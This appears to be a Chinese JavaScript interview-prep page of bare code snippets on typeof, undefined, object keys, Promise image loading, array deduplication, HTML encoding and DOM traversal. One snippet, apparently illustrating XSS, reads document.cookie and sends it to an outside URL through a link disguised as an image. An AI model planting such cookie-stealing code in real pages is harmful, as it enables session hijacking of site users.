面试的那些题-JS篇

console.log(typeof null, typeof undefined); // "object" "undefined"

Uncaught TypeError: Cannot read property 'xxx' of undefined

// 1. 数组中访问'越界'的元素
var arr = [1,2];
console.log(arr[2]); // undefined

// 2. 对象中访问未定义的属性
var obj = { a: 1 };
console.log(obj.b); // undefined

// 3. 函数调用时参数没有提供完整，访问了未提供的参数
function func(a,b,c) {
  console.log(a,b,c); 
}
func(1,2); // 1 2 undefined

// 4. 变量声明后没有赋值
var a;
console.log(a); // undefined

// 5. 对没有赋值的变量(或者压根没有声明的变量)使用typeof类型检测
var a;
console.log(typeof a, typeof b); // "undefined" "undefined"
console.log(b); // 要注意这样会直接报错 "Uncaught ReferenceError: b is not defined"

var obj1 = {};
var obj2 = { color: undefined };
if(obj1.color === obj2.color) { /* do something */ } // Don't do this!!!

// 1. Number()是转换函数，返回值还是一个'number'，但是new Number()是调用构造函数，封装成一个对象
// Boolean和String也是如此
console.log(typeof new Number(), typeof Number()); // "object" "number"

// 2. function的几种特殊情况
function func() {};
var a = new Function();
var b = new func(); // 构造函数式调用，会返回一个新的对象
console.log(typeof func, typeof a, typeof b); // "function" "function" "object"

const isArray = (() => {
  if(Array.isArray) {
    return Array.isArray;
  }
  var arr = [];
  return function(array) {
    return Object.prototype.toString.call(array) 
      === Object.prototype.toString.call(arr); 
  }
})();

var obj = { a: 1, b: 2 };
Object.defineProperty(obj, 'c', {
  value: 3,
  enumerable: false
});
Object.prototype.d = 4;
obj[Symbol(1)] = 5;

console.log(Object.keys(obj)); // ["a", "b"]
console.log(Object.getOwnPropertyNames(obj)); // ["a", "b", "c"]
console.log(Reflect.ownKeys(obj)); // ["a", "b", "c", Symbol(1)]

var forInKeys = [];
for(let key in obj) {
  forInKeys.push(key);
}
console.log(forInKeys); // ["a", "b", "d"]

  const imgUrls = [];
  const loadImage = (imgUrl) => {
    let img = document.createElement('img');
    img.src = imgUrl;
    img.alt = '';
    img.height = 300;
    return new Promise((resolve, reject) => {
      img.onload = function () {
        resolve("图片加载成功");
        document.getElementById('container').appendChild(img);
      }
      img.onerror = function () {
        reject("图片未能成功加载，请稍后重试！");
      }
    });
  }

  const loadAllImage = (imgUrls) => {
    return Promise.all(imgUrls.map((imgUrl, i) => loadImage(imgUrl)
      .then(res => {
        console.log(`第${i + 1}张${res}`);
        return Promise.resolve();
      })
      .catch(err => {
        console.log(`第${i + 1}张${err}`);
        return Promise.resolve();
      })
    ));
  }

  loadAllImage(imgUrls)
    .then(() => {
      console.log("图片全部加载完毕");
    });

var cookie = document.cookie; // 获取cookie
var a = document.createElement('a'); 
a.href = `http://www.tianzhich.com/test.php?secret=${cookie}`;
a.innerHTML = "<img src='./fake.jpg' alt=''/>" // 伪装图片
document.body.appendChild(a);

// jQuery
const htmlEncoderJq = (str) => {
  return $('<div>').text(str).html();
}
const htmlDecoderJq = (str) => {
  return $('<div>').html(str).text();
}
// JS
const htmlEncoderJs = (str) => {
  let div = document.createElement('div');
  div.textContent = str;
  return div.innerHTML;
}
const htmlDecoderJs = (str) => {
  let div = document.createElement('div');
  div.innerHTML = str;
  return div.textContent;
}

function distinct(arr) {
  var resArr = [];
  for (var i = 0; i < arr.length; i++) {
    var cur = arr[i];
    for (var j = 0; j < resArr.length; j++) {
      if (cur === resArr[j]) {
        break;
      }
    }
    if (j === resArr.length) {
      resArr.push(cur);
    }
  }
  return resArr;
}

function distinct(arr) {
  for (var i = 0; i < arr.length; i++) {
    var cur = arr[i];
    for (var j = i + 1; j < arr.length; j++) {
      if (cur === arr[j]) {
        arr.splice(j--, 1); // 数组长度动态变化，j记得减1
      }
    }
  }
  return arr;
}

const distinct = (arr) => {
  return arr.filter((v, k) => arr.indexOf(v)===k);
}

const distinct = (arr) => {
  return arr.sort().filter((v, k) => v!==arr[k+1]);
}

const distinct = (arr) => {
  const resMap = new Map();
  return arr.filter(v => !resMap.has(v)&&resMap.set(v, 1))
}

const distinct = (arr) => {
  return [...new Set(arr)]; // 或者 return Array.from(new Set(arr));
}

var arr = [1,2,null,2,'1','1',NaN,NaN,undefined,null,new String(1),undefined,new String(1)];

// BFS
function travelsalBFS(root) {
  var tempArr = [];
  var resArr = [];
  tempArr.push(root);
  while (tempArr.length) {
    let len = tempArr.length;
    while (len--) {
      let tempNode = tempArr.shift();
      resArr.push(tempNode);
      if (tempNode.children) {
        tempArr = [...tempArr, ...Array.from(tempNode.children)];
      }
    }
  }
  return resArr;
}

// BFS 不使用临时array
function travelsalBFS2(root) {
  var resArr = [];
  resArr.push(root);
  var index=0;
  while(resArr[index]) {
    resArr.push(...Array.from(resArr[index++].children));
  }
  return resArr;
}

// DFS
function travelsalDFS(root) {
  var tempArr = [root];
  var resArr = [root];
  var curEle = root;
  while(tempArr.length || curEle.children.length !== 0) {
    if(curEle.children.length===0) {
      curEle = tempArr.pop();
      while(!curEle.nextElementSibling) {
        curEle = tempArr.pop();
        // 这个地方，如果回到root，则遍历完毕！
        if(!curEle || curEle === root) {
          return resArr;
        }
      }
      curEle = curEle.nextElementSibling;
    } else {
      curEle = curEle.firstElementChild;
    }
    // 访问到的节点都要存起来，不同的是临时数组会pop出去，从而向上返回
    resArr.push(curEle);
    tempArr.push(curEle);
  }
}